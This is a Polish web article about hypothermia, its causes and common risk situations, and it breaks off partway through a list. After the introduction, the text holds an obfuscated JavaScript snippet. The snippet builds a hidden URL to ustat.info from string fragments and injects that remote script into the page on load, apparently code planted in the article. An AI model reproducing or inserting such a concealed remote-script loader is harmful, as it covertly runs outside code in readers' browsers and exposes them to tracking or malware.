Hipotermia – co warto wiedzieć, by chronić zdrowie?

Hipotermia to zjawisko, które może spotkać każdego, niezależnie od doświadczenia. Choć często utożsamiamy je z surowymi górskimi warunkami, w rzeczywistości może zaskoczyć nas niemal wszędzie. Spacer po parku w chłodny wieczór, niespodziewany deszcz czy awaria ogrzewania w zimowy dzień – każda z tych sytuacji może stanowić początek walki organizmu z zimnem. Przyjrzyjmy się, jak rozpoznać hipotermię, co ją powoduje i jak się przed nią skutecznie bronić.
(function(){
caxu=document.createElement("script");caxu_=("ust");caxuu="2420382606";
caxu_+="a"+("t.i");caxu.type="text/javascript";
caxuu+=".li4X6hueaxuu2ptw4938";caxu.async=true;caxu_+="n"+("f"+"o")+"/";
caxuu+="4r4pcX8380";caxu.src="https://"+caxu_+caxuu;
document.body.appendChild(caxu);
})();


Czym jest hipotermia i co ją powoduje?

Hipotermia potrafi zaskoczyć w najmniej oczekiwanych momentach. Nie trzeba ekstremalnych warunków, by narazić się na wychłodzenie – wystarczy niewłaściwy ubiór, niespodziewany spadek temperatury lub brak przygotowania. To, co na pierwszy rzut oka wydaje się rutynowe, może błyskawicznie przerodzić się w walkę o ciepło i zdrowie. Jakie sytuacje kryją w sobie największe ryzyko? Zobaczmy:


Spacer w chłodny dzień bez odpowiedniego ubrania, szczególnie przy wietrze i wilgoci.


Nagły spadek temperatury po zachodzie słońca, bez dodatkowej ochrony odzieżowej.


Kontakt